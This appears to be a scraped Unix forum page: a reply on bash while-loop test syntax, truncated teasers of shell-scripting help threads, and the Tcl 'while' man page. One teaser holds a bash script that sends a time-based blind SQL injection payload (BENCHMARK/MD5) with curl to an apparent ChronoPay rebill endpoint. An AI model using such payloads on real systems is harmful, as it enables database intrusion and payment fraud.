In this context we just want to stop the while loop when a condition is reached. In this context either syntax would work. However using [[ ... ]] with while is a good habit because in some old shells any variables created within a [ ... ] loop are not available after the loop finishes.
The syntax within the brackets is governed by different rules (see man sh).
Coincidentally the syntax for some test commands is the same as the syntax for some conditional expressions (including -ge ).
Qualification: I have just tried both with an ancient /bin/sh and the my [[ .. -ge .. ]] syntax does not work at all!
Guys ,
This is an output of my script errored out for "Syntax error near unexpected token `(' " Can someone tell me whats wrong with my script.
Below is my original script pasted.
#!/bin/bash
Script Creation Date 01/21/2010
Author baraghun
... (7 Replies)
Hi,
I am running the following script through cygwin and getting below mentioned error.
*******************************************
#!/bin/sh
# constants
WORK_DIR="deploy"
INFOFILE="deploy.info"
INTROFILE="Intro.sh"
CMGMT_PKG="com.kintana.cmgmt.deploy"
DEPLOY_PREFIX="mitg"
... (2 Replies)
Hi all,
This is a script which converts hex to bin. However am finding an error while executing
syntax error near unexpected token `='
`($hexfile, $binfile) = @ARGV;'
I am running using ./fil.pl <hexfile> <binfile>
###################################################
#
# this script... (3 Replies)
What do I do here?
#!/bin/bash
payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#
hash=`echo -n $payload md5sum tr -d 'n' sed 'ss-sg' md5sum tr -d 'n' sed 'ss-sg'`
curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill... (2 Replies)
Hi,
I am trying to read the session log through script. But it keeps showing me some error near. I have tried everything. Even tried converting the script using sed command to remove the hidden characters(\r).But nothing seems to be working.Below is the script :
#!/bin/bash
cd... (6 Replies)
I tried to execute the code but I got this error
./Array.c: line 9: syntax error near unexpected token '('
./Array.c: line 9: ' nvals = get_data(a,MAXARRAY);'
and
#include<stdio.h>
#define MAXARRAY 1000
main()
{
int a,
nvals;
nvals =... (7 Replies)
Hi all,
I have a simple script that doesn't work somehow. I can't seem to be spotting the cause of the malfunction.
count=$((1))
for item in `cat test1.txt`
printf %s `sed -n $((count))p test2.txt` > test3.txt
count=$((count+1))
do
something
done
I get ;
./why.sh: line 3:... (14 Replies)
I have 2 files like a.txt and b.txt and the content is as below
cat a.txt
810750125 117780 /BSCSQAT4A/bscsqat4a/lib/jar/wclt_common.jar
1803152428 13300 /BSCSQAT4A/bscsqat4a/lib/jar/WFMSSupportTool.jar
2663502779 67049 /BSCSQAT4A/bscsqat4a/lib/jar/wma.jar
687942896 665272... (1 Reply)
Dears,
While executing the below script im getting the error at line 30. Please let me know what changes to be done to fix this.
test.sh: line 30: syntax error near unexpected token `done'
test.sh: line 30: ` done '
#!/bin/sh
# Rev. PA1
# author: eillops
# date: 26-04-2018
#
#... (1 Reply)
detect_mouse_mvt.sh
/home/andy/bin/detect_mouse_mvt.sh: line 4: syntax error near unexpected token `('
/home/andy/bin/detect_mouse_mvt.sh: line 4: `fh = file('/dev/input/mice')'
#!/bin/bash
#
#
fh = file('/dev/input/mice')
while True:
fh.read(3)
print 'Mouse... (15 Replies)
Discussion started by: drew77
15 Replies
LEARN ABOUT OSX
while
while(n) Tcl Built-In Commands while(n)
__________________________________________________________________________________________________________________________________________________NAME
while - Execute script repeatedly as long as a condition is met
SYNOPSIS
while test body
_________________________________________________________________DESCRIPTION
The while command evaluates test as an expression (in the same way that expr evaluates its argument). The value of the expression must a
proper boolean value; if it is a true value then body is executed by passing it to the Tcl interpreter. Once body has been executed then
test is evaluated again, and the process repeats until eventually test evaluates to a false boolean value. Continue commands may be exe-
cuted inside body to terminate the current iteration of the loop, and break commands may be executed inside body to cause immediate termi-
nation of the while command. The while command always returns an empty string.
Note: test should almost always be enclosed in braces. If not, variable substitutions will be made before the while command starts execut-
ing, which means that variable changes made by the loop body will not be considered in the expression. This is likely to result in an
infinite loop. If test is enclosed in braces, variable substitutions are delayed until the expression is evaluated (before each loop iter-
ation), so changes in the variables will be visible. For an example, try the following script with and without the braces around $x<10:
set x 0
while {$x<10} {
puts "x is $x"
incr x
}
EXAMPLE
Read lines from a channel until we get to the end of the stream, and print them out with a line-number prepended:
set lineCount 0
while {[gets $chan line] >= 0} {
puts "[incr lineCount]: $line"
}
SEE ALSO
break(n), continue(n), for(n), foreach(n)
KEYWORDS
boolean value, loop, test, while
Tcl while(n)